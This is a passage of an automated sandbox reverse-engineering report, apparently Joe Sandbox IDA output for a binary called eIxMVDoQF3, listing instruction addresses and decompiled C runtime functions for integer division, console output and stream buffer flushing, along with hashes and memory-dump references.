0x00427571
0x00427573
0x00427578
0x0042757e
0x00427580
0x00427580
0x0042757e
0x00427581
0x00427588
0x00000000
0x0042758a
0x0042758f
0x004275ab
0x004275b3
0x004275c0
0x004275c5
0x00000000
0x004275c5
0x00427588
0x00000000
0x004275f0
0x004275f0
0x004275f7
0x004275fa
0x004275fd
0x00427600
0x00427603
0x00427606
0x00427609
0x00427610
0x00427617
0x00000000
0x00000000
0x00427623
0x00427623
0x0042762a
0x00427636
0x00427639
0x0042763f
0x00427646
0x00000000
0x00000000
0x00427648
0x00427648
0x0042764e
0x0042764e
0x00427655
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00427698
0x00427698
0x0042769f
0x004276a2
0x004276cc
0x004276cf
0x004276cf
0x004276d2
0x004276d9
0x004276d9
0x004276dd
0x004276a4
0x004276a4
0x004276b0
0x004276b3
0x004276b7
0x004276b9
0x004276bc
0x004276bc
0x004276bf
0x004276c5
0x004276c7
0x004276c7
0x004276ca
0x004276e0
0x00000000
0x00000000
0x004276e5
0x004276e5
0x00000000
0x00000000
0x004276f1
0x004276f1
0x004276f8
0x004276fb
0x0042771b
0x0042771e
0x0042771e
0x00427728
0x00427728
0x0042772c
0x004276fd
0x004276fd
0x00427709
0x0042770c
0x00427710
0x00427712
0x00427712
0x00427719
0x00000000
0x00000000
0x00427734
0x00427734
0x0042773b
0x00427747
0x0042774a
0x00427750
0x00427757
0x0042786a
0x00000000
0x0042786a
0x0042775d
0x0042775d
0x00427763
0x00427763
0x0042776a
0x00000000
0x004277a0
0x004277a0
0x004277a3
0x004277a6
0x004277a9
0x004277d1
0x004277d1
0x004277d4
0x004277d7
0x004277da
0x004277ff
0x004277ff
0x00427802
0x00427805
0x00427808
0x00427841
0x00427852
0x00000000
0x00427852
0x0042780a
0x0042780a
0x0042780d
0x00427810
0x00427813
0x00000000
0x00000000
0x00427815
0x00427815
0x00427818
0x0042781b
0x0042781e
0x00000000
0x00000000
0x00427820
0x00427820
0x00427823
0x00427826
0x00427829
0x00000000
0x00000000
0x0042782b
0x0042782b
0x0042782e
0x00427831
0x00427834
0x00000000
0x00000000
0x00427836
0x00427836
0x00427839
0x0042783c
0x0042783f
0x00427843
0x00000000
0x00427843
0x00000000
0x0042783f
0x004277dc
0x004277dc
0x004277df
0x004277e3
0x004277e6
0x00000000
0x004277e8
0x004277eb
0x004277ee
0x004277f1
0x004277f4
0x004277fa
0x00000000
0x004277fa
0x004277e6
0x004277ab
0x004277ab
0x004277ae
0x004277b2
0x004277b5
0x00000000
0x004277b7
0x004277ba
0x004277bd
0x004277c0
0x004277c3
0x004277c9
0x00000000
0x004277c9
0x00000000
0x00427854
0x00427857
0x0042785a
0x00000000
0x00000000
0x00427771
0x00427771
0x00427774
0x00427777
0x0042777a
0x00427792
0x00427795
0x00427795
0x00427798
0x0042777c
0x0042777f
0x00427782
0x00427788
0x0042778d
0x0042778d
0x00000000
0x00000000
0x0042785f
0x0042785f
0x00427862
0x00427862
0x00427867
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042786f
0x0042786f
0x00427876
0x00427882
0x00427885
0x0042788b
0x00427892
0x004280b3
0x004280b3
0x004280b3
0x004280b7
0x00000000
0x00000000
0x00000000
0x004280b7
0x004280b3
0x00427898
0x0042789e
0x0042789e
0x004278a5
0x00000000
0x00427bff
0x00427bff
0x00427c06
0x00427c0d
0x00427c0d
0x00427c10
0x00000000
0x00000000
0x004278ac
0x004278af
0x004278af
0x004278b5
0x004278b7
0x004278ba
0x004278ba
0x004278bf
0x004278bf
0x00000000
0x00000000
0x004279ec
0x004279ef
0x004279ef
0x004279f4
0x004279f6
0x004279f9
0x004279f9
0x004279ff
0x004279ff
0x00000000
0x00000000
0x00427dcc
0x00427dcc
0x00427de2
0x00427de2
0x00427dec
0x00427dec
0x00427df2
0x00427df4
0x00427dfe
0x00427dfe
0x00427e01
0x00427e04
0x00427e04
0x00000000
0x00000000
0x00427956
0x00427956
0x00427962
0x00427968
0x0042796f
0x0042797d
0x0042797d
0x00427983
0x00427986
0x00427992
0x004279e7
0x00000000
0x004279e7
0x00427971
0x00427971
0x00427977
0x0042797b
0x00427997
0x0042799a
0x0042799a
0x004279a0
0x004279c8
0x004279cf
0x004279d5
0x004279d8
0x004279db
0x004279e1
0x004279e4
0x004279a2
0x004279a2
0x004279a8
0x004279ab
0x004279ae
0x004279b4
0x004279b7
0x004279ba
0x004279bc
0x004279bf
0x004279bf
0x00000000
0x004279a0
0x00000000
0x00000000
0x00427c16
0x00427c19
0x00427c1c
0x00427c1f
0x00427c25
0x00427c28
0x00427c2f
0x00427c33
0x00427c3e
0x00427c3e
0x00427c42
0x00427c59
0x00427c59
0x00427c60
0x00427c62
0x00427c62
0x00427c69
0x00427c69
0x00427c70
0x00427c81
0x00427c90
0x00427c93
0x00427c97
0x00427cad
0x00427c99
0x00427c99
0x00427c9c
0x00427ca2
0x00427ca8
0x00427ca8
0x00427c97
0x00427cb7
0x00427cba
0x00427cbd
0x00427cc0
0x00427cc0
0x00427cc3
0x00427cc3
0x00427cc6
0x00427ccc
0x00427cd2
0x00427cda
0x00427cdb
0x00427cde
0x00427cdf
0x00427ce2
0x00427ce3
0x00427cea
0x00427ceb
0x00427cee
0x00427cef
0x00427cf2
0x00427cf3
0x00427cf9
0x00427cfa
0x00427d08
0x00427d0a
0x00427d10
0x00427d10
0x00427d16
0x00427d18
0x00427d1c
0x00427d1e
0x00427d26
0x00427d27
0x00427d2a
0x00427d2b
0x00427d39
0x00427d3b
0x00427d3b
0x00427d1c
0x00427d3e
0x00427d45
0x00427d48
0x00427d4d
0x00427d4d
0x00427d53
0x00427d55
0x00427d5d
0x00427d5e
0x00427d61
0x00427d62
0x00427d71
0x00427d73
0x00427d73
0x00427d53
0x00427d76
0x00427d79
0x00427d7c
0x00427d7f
0x00427d84
0x00427d8a
0x00427d8d
0x00427d90
0x00427d90
0x00427d93
0x00427d93
0x00427d96
0x00427da2
0x004280b3
0x004280b3
0x004280b3
0x004280b7
0x00000000
0x00000000
0x00000000
0x004280b7
0x00000000
0x004280b3
0x00427c44
0x00427c44
0x00427c4b
0x00427c4e
0x00000000
0x00000000
0x00427c50
0x00427c50
0x00000000
0x00427c50
0x00427c35
0x00427c35
0x00000000
0x00000000
0x004278c2
0x004278c5
0x004278c5
0x004278cb
0x00427922
0x00427926
0x0042792e
0x00427935
0x0042793b
0x00427941
0x00427948
0x00427948
0x0042794e
0x004280b3
0x004280b3
0x004280b3
0x004280b7
0x00000000
0x00000000
0x00000000
0x004280b7
0x004280b3
0x004278cd
0x004278cd
0x004278d7
0x004278db
0x004278e3
0x004278ea
0x004278f7
0x004278fe
0x0042790a
0x00427910
0x00427917
0x00427919
0x00427919
0x00427920
0x00000000
0x00000000
0x00427daa
0x00427dad
0x00427db0
0x00427db3
0x00427e2b
0x00427e2e
0x00427e2e
0x00427e33
0x00427e55
0x00427e55
0x00427e5b
0x00427e7d
0x00427e7d
0x00427e80
0x00427ec7
0x00427ec7
0x00427eca
0x00427ee7
0x00427eeb
0x00427ef3
0x00427ef3
0x00427ef5
0x00427efb
0x00427ecc
0x00427ecc
0x00427ed0
0x00427ed8
0x00427ed9
0x00427edf
0x00427edf
0x00427e82
0x00427e85
0x00427e85
0x00427e88
0x00427ea6
0x00427eb2
0x00427eb5
0x00427eb6
0x00427ebc
0x00427e8a
0x00427e8a
0x00427e8e
0x00427e96
0x00427e97
0x00427e98
0x00427e9e
0x00427e9e
0x00427ec2
0x00427e5d
0x00427e5d
0x00427e69
0x00427e6f
0x00427e6f
0x00427e35
0x00427e35
0x00427e41
0x00427e47
0x00427e47
0x00427f04
0x00427f04
0x00427f07
0x00000000
0x00000000
0x00000000
0x00427b08
0x00427b08
0x00427b14
0x00427b1a
0x00427b1f
0x00427b21
0x00427bcb
0x00427bce
0x00427bce
0x00427bd1
0x00427be5
0x00427beb
0x00427bf1
0x00427bd3
0x00427bd3
0x00427be0
0x00427be0
0x00427bf3
0x004280b3
0x004280b3
0x004280b3
0x004280b7
0x00000000
0x00000000
0x00000000
0x004280b7
0x004280b3
0x00427b27
0x00427b27
0x00427b27
0x00427b29
0x00427b37
0x00427b2b
0x00427b2b
0x00427b2b
0x00427b41
0x00427b47
0x00427b4d
0x00427b54
0x00427b56
0x00427b5b
0x00427b5d
0x00427b62
0x00427b67
0x00427b69
0x00427b6e
0x00427b71
0x00427b74
0x00427b76
0x00427b76
0x00427b74
0x00427b77
0x00427b7e
0x00427bc6
0x004280b3
0x004280b3
0x004280b3
0x004280b7
0x00000000
0x00000000
0x00000000
0x004280b7
0x00427b80
0x00427b80
0x00427b85
0x00427ba1
0x00427ba9
0x00427bb3
0x00427bb6
0x00427bbb
0x004282d8
0x004282e5
0x004282e5
0x00000000
0x00427e0d
0x00427e0d
0x00427e17
0x00427e17
0x00427e1d
0x00427e1f
0x00427e22
0x00427e22
0x00427e28
0x00427e28
0x00427e2b
0x00427e2b
0x00427e2e
0x00427e2e
0x00427e33
0x00427e55
0x00427e55
0x00427e5b
0x00427e7d
0x00427e7d
0x00427e80
0x00427ec7
0x00427ec7
0x00427eca
0x00427ee7
0x00427eeb
0x00427ef3
0x00427ef3
0x00427ef5
0x00427efb
0x00427ecc
0x00427ecc
0x00427ed0
0x00427ed8
0x00427ed9
0x00427edf
0x00427edf
0x00427e82
0x00427e85
0x00427e85
0x00427e88
0x00427ea6
0x00427eb2
0x00427eb5
0x00427eb6
0x00427ebc
0x00427e8a
0x00427e8a
0x00427e8e
0x00427e96
0x00427e97
0x00427e98
0x00427e9e
0x00427e9e
0x00427ec2
0x00427e5d
0x00427e5d
0x00427e69
0x00427e6f
0x00427e6f
0x00427e35
0x00427e35
0x00427e41
0x00427e47
0x00427e47
0x00427f04
0x00427f04
0x00427f07
0x00000000
0x00000000
0x00000000
0x00427f07
0x00000000
0x00427dc5
0x00427dc5
0x00000000
0x00000000
0x00427a02
0x00427a02
0x00427a06
0x00427a14
0x00427a17
0x00427a08
0x00427a08
0x00427a08
0x00427a1d
0x00427a23
0x00427a29
0x00427a35
0x00427a3b
0x00427a3b
0x00427a41
0x00427aa8
0x00427aa8
0x00427aac
0x00427aae
0x00427ab4
0x00427ab4
0x00427ab7
0x00427aba
0x00427ac0
0x00427ac0
0x00427ac0
0x00427acc
0x00427acf
0x00427ad5
0x00427ad7
0x00000000
0x00000000
0x00427ad9
0x00427ad9
0x00427adf
0x00427ae2
0x00427ae4
0x00000000
0x00000000
0x00427ae6
0x00427aec
0x00427aef
0x00427aef
0x00427af7
0x00427af7
0x00427afd
0x00427afd
0x00427b00
0x00000000
0x00427a43
0x00427a43
0x00427a43
0x00427a47
0x00427a49
0x00427a4e
0x00427a4e
0x00427a51
0x00427a58
0x00427a5b
0x00427a61
0x00427a61
0x00427a61
0x00427a6d
0x00427a70
0x00427a76
0x00427a78
0x00000000
0x00000000
0x00427a7a
0x00427a7a
0x00427a80
0x00427a83
0x00427a85
0x00000000
0x00000000
0x00427a87
0x00427a8d
0x00427a90
0x00427a90
0x00427a98
0x00427a9e
0x00427aa1
0x00427aa3
0x00427b03
0x004280b3
0x004280b3
0x004280b3
0x004280b7
0x00000000
0x00000000
0x00000000
0x004280b7
0x004280b3
0x00000000
0x00427dbc
0x00427dbc
0x00427e2b
0x00427e2b
0x00427e2e
0x00427e2e
0x00427e33
0x00427e55
0x00427e55
0x00427e5b
0x00427e7d
0x00427e7d
0x00427e80
0x00427ec7
0x00427ec7
0x00427eca
0x00427ee7
0x00427eeb
0x00427ef3
0x00427ef3
0x00427ef5
0x00427efb
0x00427ecc
0x00427ecc
0x00427ed0
0x00427ed8
0x00427ed9
0x00427edf
0x00427edf
0x00427e82
0x00427e85
0x00427e85
0x00427e88
0x00427ea6
0x00427eb2
0x00427eb5
0x00427eb6
0x00427ebc
0x00427e8a
0x00427e8a
0x00427e8e
0x00427e96
0x00427e97
0x00427e98
0x00427e9e
0x00427e9e
0x00427ec2
0x00427e5d
0x00427e5d
0x00427e69
0x00427e6f
0x00427e6f
0x00427e35
0x00427e35
0x00427e41
0x00427e47
0x00427e47
0x00427f04
0x00427f04
0x00427f07
0x00000000
0x00000000
0x00000000
0x00427f07
0x00000000
0x00000000
0x00000000
0x004280b3
0x004280b3
0x004280b3
0x004280b7
0x00000000
0x00000000
0x00000000
0x004280b7
0x00000000
0x00000000
0x00427672
0x00427675
0x00427678
0x00000000
0x00000000
0x0042767d
0x00427680
0x00427685
0x00000000
0x00000000
0x00427667
0x00427667
0x0042766a
0x0042766d
0x00000000
0x00000000
0x0042765c
0x0042765f
0x00427662
0x00000000
0x00000000
0x0042768a
0x0042768a
0x0042768d
0x0042768d
0x00427690
0x00000000
0x00000000
0x00427693
0x00000000
0x00000000
0x004274ed
0x004282be
0x004282c4
0x004282cd
0x004282d2
0x00000000
0x004282d2
0x004280b3
0x0042808a
0x0042808a
0x0042808e
0x0042809b
0x0042809e
0x004280a1
0x004280a4
0x004280a7
0x004280aa
0x004280ad
0x004280ad
0x004280b0
0x00000000
0x004280b0
0x00428090
0x00428090
0x00428093
0x00428096
0x00428099
0x00000000
0x00000000
0x00000000
0x00428099
0x00427ff2
0x00427ff2
0x00427ff5
0x00427ff8
0x00427fff
0x00428006
0x0042800e
0x00428014
0x00428017
0x0042801a
0x00428021
0x0042802d
0x00428033
0x00428039
0x00428040
0x00428042
0x00428048
0x00428048
0x0042804e
0x0042804e
0x00428054
0x00428057
0x0042805d
0x00428062
0x00428065
0x00427fd4
0x00427fd4
0x00427fda
0x00427fdd
0x00427fe0
0x00427fe2
0x00000000
0x00000000
0x00000000
0x00427fe2
0x00427fd4
0x00427f14
0x00427f14
0x00427f1b
0x00000000
0x00000000
0x00000000
0x00427f49
0x00427f49
0x00427f4f
0x00427f55
0x00427f5b
0x00000000
0x00427f5b
0x00427e2b
0x00427de2

APIs

_get_int64_arg.LIBCMTD ref: 00427E39
__aullrem.LIBCMT ref: 00428006
__aulldiv.LIBCMT ref: 00428028

Strings

0, xrefs: 00427DF4
', xrefs: 00427DD8
9, xrefs: 00428039

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: b06138346e01c4859c971e078a40e2d1bc4e5d7828ca2f175b19f213fc8eb558
Instruction ID: 4100b418f3c75262927c29862edfa2c91ed121faba6744443b40e1369e12b0a1
Opcode Fuzzy Hash: b06138346e01c4859c971e078a40e2d1bc4e5d7828ca2f175b19f213fc8eb558
Instruction Fuzzy Hash: 9A411471E08229CFDB64DF48D989BAEB7B5BF84304F5045DAE448A7241C7389E80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0043B520, Relevance: 9.1, APIs: 6, Instructions: 76
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0043B520(void* __edx, void _a4) {
				long _v8;
				int _v12;
				signed int _v16;
				void _v24;
				signed int _t12;
				void _t14;
				void* _t25;
				void* _t31;
				void* _t33;
				void* _t34;
				signed int _t35;

				_t31 = __edx;
				_t12 =  *0x440354; // 0xd0648bec
				_v16 = _t12 ^ _t35;
				if( *0x4416b4 == 0) {
					L12:
					if( *0x4416b4 != 0) {
						L16:
						_t14 = _a4;
					} else {
						_v12 = WideCharToMultiByte(GetConsoleOutputCP(), 0,  &_a4, 1,  &_v24, 5, 0, 0);
						if( *0x441744 == 0xffffffff) {
							L15:
							_t14 = 0xffff;
						} else {
							_t31 =  *0x441744; // 0xfffffffe
							if(WriteConsoleA(_t31,  &_v24, _v12,  &_v8, 0) != 0) {
								goto L16;
							} else {
								goto L15;
							}
						}
					}
				} else {
					if( *0x441744 == 0xfffffffe) {
						E0043D350();
					}
					if( *0x441744 != 0xffffffff) {
						_t31 =  *0x441744; // 0xfffffffe
						if(WriteConsoleW(_t31,  &_a4, 1,  &_v8, 0) != 0) {
							 *0x4416b4 = 1;
							goto L12;
						} else {
							if( *0x4416b4 != 2 || GetLastError() != 0x78) {
								_t14 = 0xffff;
							} else {
								 *0x4416b4 = 0;
								goto L12;
							}
						}
					} else {
						_t14 = 0xffff;
					}
				}
				return E0042BD50(_t14, _t25, _v16 ^ _t35, _t31, _t33, _t34);
			}

0x0043b520
0x0043b528
0x0043b52f
0x0043b539
0x0043b5ae
0x0043b5b5
0x0043b608
0x0043b608
0x0043b5b7
0x0043b5d6
0x0043b5e0
0x0043b601
0x0043b601
0x0043b5e2
0x0043b5f0
0x0043b5ff
0x00000000
0x00000000
0x00000000
0x00000000
0x0043b5ff
0x0043b5e0
0x0043b53b
0x0043b542
0x0043b544
0x0043b544
0x0043b550
0x0043b56a
0x0043b579
0x0043b5a4
0x00000000
0x0043b57b
0x0043b582
0x0043b59b
0x0043b58f
0x0043b58f
0x00000000
0x0043b5a2
0x0043b582
0x0043b552
0x0043b552
0x0043b552
0x0043b550
0x0043b619

APIs

___initconout.LIBCMTD ref: 0043B544

Part of subcall function 0043D350: CreateFileA.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,?,0043B549), ref: 0043D369

GetConsoleOutputCP.KERNEL32(00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 0043B5C9
WideCharToMultiByte.KERNEL32(00000000), ref: 0043B5D0
WriteConsoleA.KERNEL32(FFFFFFFE,00000000,?,?,00000000), ref: 0043B5F7

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: 531c05ce2fc9eb36074d429764f17e375db4a339401e4897159e9cefc42b094c
Instruction ID: a9a84f1671430479fd641c01d31639df265f8fe06e03242997a576d6f0de4539
Opcode Fuzzy Hash: 531c05ce2fc9eb36074d429764f17e375db4a339401e4897159e9cefc42b094c
Instruction Fuzzy Hash: 1021BF74504204ABDB20DF64DD0ABEA3764EB19319F20523AFB06962E0D7788984CB9E

Uniqueness

Uniqueness Score: -1.00%

Function 0043D443, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0043D443() {
				signed int _t104;
				void* _t119;
				void* _t122;
				void* _t130;
				signed int _t179;
				void* _t193;
				void* _t194;
				void* _t195;
				void* _t197;

				if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000002;
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xffffffef;
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					 *(_t195 - 4) = 0;
					_t136 =  *(_t195 - 4);
					 *(_t195 - 0xc) =  *(_t195 - 4);
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000108) == 0) {
							 *(_t195 - 4) = 2;
							 *((short*)(_t195 - 0x14)) =  *(_t195 + 8) & 0x0000ffff;
							 *(_t195 - 0xc) = E00433090( *(_t195 - 0x10),  *(_t195 - 0x10), _t195 - 0x14,  *(_t195 - 4));
							L25:
							if( *(_t195 - 0xc) ==  *(_t195 - 4)) {
								_t104 =  *(_t195 + 8) & 0x0000ffff;
							} else {
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
							}
							goto L28;
						}
						if( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t119 = L0041E410();
							_t197 = _t197 + 0x14;
							if(_t119 == 1) {
								asm("int3");
							}
						}
						 *(_t195 - 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
						 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) + 2;
						 *( *((intOrPtr*)(_t195 - 8)) + 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 0x18)) - 2;
						if( *(_t195 - 4) <= 0) {
							if( *(_t195 - 0x10) == 0xffffffff ||  *(_t195 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t195 - 0x18)) = 0x440f40;
							} else {
								 *((intOrPtr*)(_t195 - 0x18)) = (( *(_t195 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x55b840 + ( *(_t195 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t195 - 0x18)) + 4; // 0xa80
							_t152 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t179 =  *(_t195 - 0x10);
								 *(_t195 - 0x20) = E00432D50(_t152, _t179, _t179, 0, 0, 2);
								 *(_t195 - 0x1c) = _t179;
								if(( *(_t195 - 0x20) &  *(_t195 - 0x1c)) != 0xffffffff) {
									goto L23;
								}
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
								goto L28;
							}
						} else {
							 *(_t195 - 0xc) = E00433090( *((intOrPtr*)(_t195 - 8)),  *(_t195 - 0x10),  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)),  *(_t195 - 4));
							L23:
							 *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)))) =  *(_t195 + 8) & 0x0000ffff;
							goto L25;
						}
					}
					if( *((intOrPtr*)(_t195 - 8)) == E00426680() + 0x20 ||  *((intOrPtr*)(_t195 - 8)) == E00426680() + 0x40) {
						_t136 =  *(_t195 - 0x10);
						_t122 = E00433EC0(_t130,  *(_t195 - 0x10), _t193, _t194,  *(_t195 - 0x10));
						_t197 = _t197 + 4;
						if(_t122 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433E00(_t136,  *((intOrPtr*)(_t195 - 8)));
						_t197 = _t197 + 4;
						goto L10;
					}
				} else {
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000010) == 0) {
						 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
						_t104 = 0xffff;
						L28:
						return _t104;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x0043d47d
0x0043d4c9
0x0043d4d5
0x0043d4e4
0x0043d4ea
0x0043d4f1
0x0043d4f8
0x0043d4fb
0x0043d509
0x0043d541
0x0043d54d
0x0043d655
0x0043d665
0x0043d67d
0x0043d680
0x0043d686
0x0043d6a1
0x0043d688
0x0043d694
0x0043d697
0x0043d697
0x00000000
0x0043d686
0x0043d55e
0x0043d560
0x0043d565
0x0043d567
0x0043d56c
0x0043d571
0x0043d573
0x0043d578
0x0043d57e
0x0043d580
0x0043d580
0x0043d57e
0x0043d58c
0x0043d59b
0x0043d5a9
0x0043d5b0
0x0043d5d2
0x0043d5f5
0x0043d5da
0x0043d5f0
0x0043d5f0
0x0043d5ff
0x0043d603
0x0043d606
0x00000000
0x0043d608
0x0043d60e
0x0043d61a
0x0043d61d
0x0043d629
0x00000000
0x00000000
0x0043d637
0x0043d63a
0x00000000
0x0043d63a
0x0043d5b2
0x0043d5c9
0x0043d641
0x0043d650
0x00000000
0x0043d650
0x0043d5b0
0x0043d516
0x0043d525
0x0043d529
0x0043d52e
0x0043d533
0x00000000
0x00000000
0x00000000
0x0043d535
0x0043d535
0x0043d539
0x0043d53e
0x00000000
0x0043d53e
0x0043d47f
0x0043d482
0x0043d492
0x0043d4bc
0x0043d4bf
0x0043d6a6
0x0043d6a9
0x0043d6a9
0x0043d49d
0x0043d4ab
0x00000000
0x0043d4ab

APIs

__isatty.LIBCMTD ref: 0043D529
__getbuf.LIBCMTD ref: 0043D539
__write.LIBCMTD ref: 0043D5C1

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 0043D56C
("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 0043D560

Memory Dump Source

Source File: 00000000.00000002.276994985.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276991313.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.277020013.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277028554.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.277031435.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_eIxMVDoQF3.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: 64080dcf8a9839b88a5f72092980c2ecbb4a5b58109d2a22cc529bd38bf0d299
Instruction ID: 71b16752ec84e16242b4e36107d74b583dd29bf1da5d677ffff01e0aa29b4677
Opcode Fuzzy Hash: 64080dcf8a9839b88a5f72092980c2ecbb4a5b58109d2a22cc529bd38bf0d299
Instruction Fuzzy Hash: 1951E875E00208EFDB14CF94D495AADFBB1FF88324F258299E4496B395D638EA81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 004269C1, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E004269C1() {
				signed int _t102;
				signed int _t104;
				signed int _t114;
				void* _t118;
				void* _t121;
				signed int _t126;
				void* _t129;
				signed int _t174;
				void* _t188;
				void* _t189;
				void* _t190;
				void* _t192;

				if(( *( *(_t190 - 8) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000002;
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xffffffef;
					 *( *(_t190 - 8) + 4) = 0;
					 *(_t190 - 4) = 0;
					_t135 =  *(_t190 - 4);
					 *(_t190 - 0xc) =  *(_t190 - 4);
					if(( *( *(_t190 - 8) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *(_t190 - 8) + 0xc) & 0x00000108) == 0) {
							 *(_t190 - 4) = 1;
							 *(_t190 - 0xc) = E00433090( *(_t190 - 4),  *(_t190 - 0x10), _t190 + 8,  *(_t190 - 4));
							L25:
							if( *(_t190 - 0xc) ==  *(_t190 - 4)) {
								_t102 =  *(_t190 + 8) & 0x000000ff;
							} else {
								_t104 =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								 *( *(_t190 - 8) + 0xc) = _t104;
								_t102 = _t104 | 0xffffffff;
							}
							goto L28;
						}
						if( *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t118 = L0041E410();
							_t192 = _t192 + 0x14;
							if(_t118 == 1) {
								asm("int3");
							}
						}
						 *(_t190 - 4) =  *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8));
						 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8)) + 1;
						 *( *(_t190 - 8) + 4) =  *((intOrPtr*)( *(_t190 - 8) + 0x18)) - 1;
						if( *(_t190 - 4) <= 0) {
							if( *(_t190 - 0x10) == 0xffffffff ||  *(_t190 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t190 - 0x14)) = 0x440f40;
							} else {
